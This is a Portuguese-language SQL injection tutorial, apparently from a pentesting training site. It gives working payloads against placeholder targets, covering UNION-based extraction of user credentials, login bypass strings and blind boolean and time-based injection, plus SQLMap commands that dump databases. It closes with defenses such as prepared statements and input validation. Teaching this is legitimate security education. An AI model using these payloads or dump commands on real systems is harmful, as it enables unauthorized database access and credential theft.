Injeção SQL
Transforme campos de entrada inocentes em pontos de acesso a bancos de dados
O que você vai descobrir
🎯 Por que isso importa
A injeção SQL continua sendo a vulnerabilidade de aplicação web mais crítica, classificada como #3 no OWASP Top 10. Apesar de estar bem documentada há mais de duas décadas, ela continua comprometendo aplicações modernas devido à validação inadequada de entrada. Quando você entende a exploração de injeção SQL, você está aprendendo as mesmas técnicas que profissionais de segurança usam para identificar vulnerabilidades críticas em aplicações empresariais em todo o mundo.
🔍 O que você vai aprender
Você vai dominar as ferramentas e metodologias padrão da indústria que especialistas em segurança usam para explorar vulnerabilidades de injeção SQL. Isso inclui SQLMap para exploração automatizada, Burp Suite para testes manuais e técnicas baseadas em UNION para extração de dados — o mesmo arsenal usado por pentesters em avaliações de segurança reais.
🚀 Sua primeira conquista
Nos próximos 10 minutos, você vai explorar sua primeira vulnerabilidade de injeção SQL usando exatamente as mesmas técnicas manuais nas quais especialistas em segurança confiam. Você verá como um simples formulário de busca pode ser transformado em uma porta de acesso completo ao banco de dados e entenderá por que a validação adequada de entrada é crucial para aplicações seguras.
🔧 Experimente agora
Aprenda a técnica testando este formulário de busca vulnerável que aceita entrada do usuário sem validação adequada
# Testar injeção SQL em um parâmetro de busca
# URL vulnerável: http://<target>/search.php?query=products
# Passo 1: Testar vulnerabilidade com uma aspa simples
http://<target>/search.php?query=products'
# Se você ver um erro de banco de dados como:
# "MySQL syntax error near '\'' at line 1"
# A aplicação é vulnerável!
# Passo 2: Testar lógica booleana básica
http://<target>/search.php?query=products' OR '1'='1
# Passo 3: Determinar número de colunas (incrementar até erro)
http://<target>/search.php?query=products' ORDER BY 1-- # Funciona
http://<target>/search.php?query=products' ORDER BY 2-- # Funciona
http://<target>/search.php?query=products' ORDER BY 5-- # Erro!
# Quando você recebe "ORDER BY position 5 is not in select list"
# Você sabe que existem 4 colunas na instrução SELECT
# Passo 4: Extrair versão do banco de dados
http://<target>/search.php?query=products' UNION SELECT database(),version()--
Você verá: Como um simples caractere de aspa revela erros de banco de dados, provando que a aplicação é vulnerável. Isso demonstra a falha fundamental que permite que ataques de injeção SQL sejam bem-sucedidos.
Habilidades que você vai dominar
✅ Compreensão fundamental
- Como consultas SQL funcionam e por que falham (sem mais mistério!)
- Extração de dados baseada em UNION de múltiplas tabelas
- Metodologias de ataque profissionais e padrões de sucesso
- Ferramentas padrão da indústria para exploração de bancos de dados
🔍 Habilidades avançadas
- Usar SQLMap como um consultor de segurança
- Aproveitar o Burp Suite para testes sistemáticos
- Calcular viabilidade de ataques e enumeração de bancos de dados
- Implementar contramedidas defensivas adequadas
Entendendo a vulnerabilidade de injeção SQL
A injeção SQL ocorre quando a entrada do usuário é diretamente concatenada em consultas SQL sem validação adequada — permitindo que atacantes modifiquem a estrutura da consulta
O problema fundamental não é com a tecnologia SQL em si, mas com como os desenvolvedores lidam com a entrada do usuário. Quando aplicações usam concatenação de strings para construir consultas SQL, elas criam uma falha de segurança crítica. Veja o que acontece no nível do código:
O padrão de código vulnerável
# VULNERÁVEL - Concatenação de string (NÃO FAÇA ISSO)
query = "SELECT * FROM users WHERE username = '" + userInput + "'";
# Quando userInput = "admin", a consulta se torna:
# SELECT * FROM users WHERE username = 'admin'
# Quando userInput = "admin' OR '1'='1'--", a consulta se torna:
# SELECT * FROM users WHERE username = 'admin' OR '1'='1'--'
# A condição OR torna isso sempre verdadeiro, contornando a autenticação
Note como a entrada do atacante sai do contexto de string pretendido e injeta lógica SQL executável. O banco de dados não sabe onde os dados do usuário terminam e onde os comandos SQL começam.
⚠️ O problema
Aplicações concatenam entrada do usuário diretamente em consultas SQL sem validação
🎯 O ataque
Código SQL malicioso injetado através de campos de entrada modifica a lógica da consulta
💥 O impacto
Acesso completo ao banco de dados, extração de dados e potencial comprometimento do sistema
Ferramentas e técnicas
SQLMap: o campeão da automação
SQLMap é o padrão da indústria para exploração automatizada de injeção SQL usado por profissionais de segurança em todo o mundo. Ele pode detectar vulnerabilidades, enumerar bancos de dados e extrair dados com intervenção manual mínima.
Ataque SQLMap passo a passo
# Passo 1: Instalar SQLMap (vem com Kali Linux)
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
# Passo 2: Testar vulnerabilidade e enumerar bancos de dados
python3 sqlmap.py -u "http://<target>/search.php?id=1" --dbs
# Passo 3: Enumerar tabelas em banco de dados específico
python3 sqlmap.py -u "http://<target>/search.php?id=1" -D webapp --tables
# Passo 4: Extrair dados de tabela específica
python3 sqlmap.py -u "http://<target>/search.php?id=1" -D webapp -T users --dump
# Passo 5: Testar requisições POST com dados de formulário
python3 sqlmap.py -u "http://<target>/login.php" --data="username=admin&password=test" --dbs
# Passo 6: Usar com integração Burp Suite
python3 sqlmap.py -r hdna-request.txt --batch
Esta mesma metodologia é usada por pentesters durante avaliações de segurança para identificar de forma abrangente vulnerabilidades de injeção SQL em sistemas de produção.
Técnicas manuais: a base fundamental
Entender a exploração manual separa especialistas em segurança de script kiddies. Essas técnicas dão a você a base para se adaptar a qualquer cenário de injeção SQL. Vamos decompor cada passo da abordagem sistemática que profissionais usam:
Exploração manual baseada em UNION: o processo completo
# Passo 1: Testar vulnerabilidade
http://<target>/product.php?id=1'
# Passo 2: Determinar contagem de colunas (testar incrementalmente)
http://<target>/product.php?id=1' ORDER BY 5--
# Passo 3: Encontrar colunas injetáveis
http://<target>/product.php?id=1' UNION SELECT 1,2,3,4,5--
# Passo 4: Extrair informações do banco de dados
http://<target>/product.php?id=1' UNION SELECT 1,database(),version(),4,5--
# Passo 5: Enumerar tabelas
http://<target>/product.php?id=1' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database()--
# Passo 6: Extrair credenciais de usuário
http://<target>/product.php?id=1' UNION SELECT 1,username,password,4,5 FROM users--
Ferramentas complementares
Avaliações de segurança profissionais requerem múltiplas ferramentas para testes abrangentes. Aqui estão os utilitários essenciais que complementam o SQLMap.
- Burp Suite - Interceptar e modificar requisições HTTP para testes manuais
- Commix - Automação de injeção de comando e SQL
- Ghauri - Exploração avançada de injeção SQL cega
- XSStrike - Teste de payload multi-vetor (inclui injeção SQL)
Cenários de ataque do mundo real
Estes cenários representam padrões reais encontrados em avaliações de segurança, demonstrando a aplicação prática de técnicas de injeção SQL em testes de penetração profissionais.
Cenário 1: busca de produtos em e-commerce (5 minutos)
A funcionalidade de busca de produtos é um dos alvos mais comuns de injeção SQL. Testar parâmetros de busca deve ser sua primeira prioridade em avaliações de aplicações web.
# Testar funcionalidade de busca para injeção SQL
URL: http://<target>/products.php?search=laptops
# Passo 1: Testar com aspa simples
http://<target>/products.php?search=laptops'
# Se aparecer erro: "MySQL syntax error"
# Passo 2: Confirmar com lógica booleana
http://<target>/products.php?search=laptops' OR '1'='1'--
# Passo 3: Extrair informações do banco de dados
http://<target>/products.php?search=laptops' UNION SELECT database(),version(),NULL--
# Dica HackerDNA: Use SQLMap para automação
sqlmap -u "http://<target>/products.php?search=hdna-test" --batch --dbs
Taxa de sucesso: Funções de busca de produtos frequentemente contêm vulnerabilidades de injeção SQL devido à validação inadequada de entrada em termos de busca controlados pelo usuário.
Cenário 2: bypass de autenticação de usuário (8 minutos)
Formulários de login são alvos principais para ataques de injeção SQL que podem contornar completamente a autenticação. Esta técnica demonstra como atacantes ganham acesso não autorizado a contas administrativas.
# Testar formulário de login para injeção SQL
POST http://<target>/login.php
Content-Type: application/x-www-form-urlencoded
# Passo 1: Testar campo username com payload de bypass
username=admin' OR '1'='1'-- &password=anything
# Passo 2: Extrair informações de usuário
username=admin' UNION SELECT username,password FROM users WHERE username='admin'-- &password=test
# Passo 3: Usar SQLMap para extração automatizada
sqlmap -u "http://<target>/login.php" --data="username=hdna&password=test" --dump
# Resultado esperado: Bypass de autenticação ou extração de dados
Impacto: O bypass de autenticação permite tomada completa de conta, frequentemente fornecendo acesso administrativo a toda a aplicação.
Cenário 3: extração de dados com injeção SQL cega (12 minutos)
Quando mensagens de erro não são exibidas, técnicas de injeção SQL cega permitem extração de dados através de atrasos de tempo e lógica booleana. Esta técnica avançada requer paciência mas produz resultados abrangentes. Veja como você sistematicamente extrai dados caractere por caractere:
Lógica baseada em booleanos:
A aplicação responde diferentemente a condições verdadeiro/falso. Se
AND (condição)
é verdadeira, a página carrega normalmente. Se falsa, mostra conteúdo diferente ou erros.
Detecção baseada em tempo:
Quando métodos booleanos falham, você pode usar funções de sleep do banco de dados. Se sua condição é verdadeira, o banco de dados espera 5 segundos antes de responder. Sem atraso significa que a condição era falsa.
# Teste de injeção SQL cega
URL: http://<target>/news.php?id=1
# Passo 1: Testar injeção cega baseada em booleanos
http://<target>/news.php?id=1' AND (SELECT COUNT(*) FROM users)>0--
# Passo 2: Extrair dados caractere por caractere
http://<target>/news.php?id=1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
# Passo 3: Injeção cega baseada em tempo
http://<target>/news.php?id=1'; IF((SELECT COUNT(*) FROM users)>0) WAITFOR DELAY '00:00:05'--
# HackerDNA Avançado: Use SQLMap para exploração cega
sqlmap -u "http://<target>/news.php?id=1" --technique=B --batch --dump
Insight especialista: A injeção SQL cega requer enumeração sistemática mas pode extrair bancos de dados completos mesmo quando mensagens de erro são suprimidas.
Contramedidas defensivas
Entender técnicas de ataque permite que você implemente defesas adequadas. Veja como profissionais de segurança protegem aplicações contra ataques de injeção SQL.
Consultas parametrizadas (prepared statements)
A defesa mais eficaz contra injeção SQL é tratar a entrada do usuário como dados, não como código executável. Consultas parametrizadas garantem que a entrada do usuário nunca pode alterar a estrutura da consulta SQL.
Exemplos profissionais de código seguro
# PHP com PDO (recomendado)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
# Python com consultas parametrizadas
cursor.execute("SELECT * FROM products WHERE category = %s AND price < %s", (category, max_price))
# Java com PreparedStatement
String sql = "SELECT * FROM customers WHERE email = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, email);
# Node.js com consultas parametrizadas
const query = 'SELECT * FROM orders WHERE user_id = ? AND status = ?';
connection.query(query, [userId, status], callback);
Validação e sanitização de entrada
Implemente validação de entrada em múltiplas camadas para capturar payloads maliciosos antes que alcancem a camada do banco de dados. Isso fornece segurança em profundidade.
# Exemplo de validação de entrada (PHP)
function validateInput($input) {
// Remover caracteres perigosos
$input = preg_replace('/[^a-zA-Z0-9\s]/', '', $input);
// Validação de comprimento
if (strlen($input) > 100) {
return false;
}
// Validação por whitelist
$allowedTerms = ['laptop', 'desktop', 'monitor', 'keyboard'];
return in_array(strtolower($input), $allowedTerms);
}
Configuração de segurança do banco de dados
Permissões de banco de dados e configurações de segurança adequadamente configuradas podem limitar o impacto de ataques de injeção SQL bem-sucedidos.
- Usar contas de banco de dados com privilégios mínimos para aplicações
- Desabilitar funções perigosas do banco de dados (xp_cmdshell, LOAD_FILE)
- Habilitar logging de auditoria do banco de dados para detecção de ataques
- Implementar firewalls de banco de dados para monitoramento de padrões de consulta
- Atualizações regulares de segurança e gerenciamento de patches
🎯 Você dominou injeção SQL!
Você agora entende exploração de injeção SQL como um profissional de segurança. Você pode identificar aplicações vulneráveis, usar ferramentas padrão da indústria para ataques sistemáticos e implementar medidas defensivas adequadas que protegem aplicações contra essas vulnerabilidades críticas.
Pronto para explorar vulnerabilidades avançadas de bancos de dados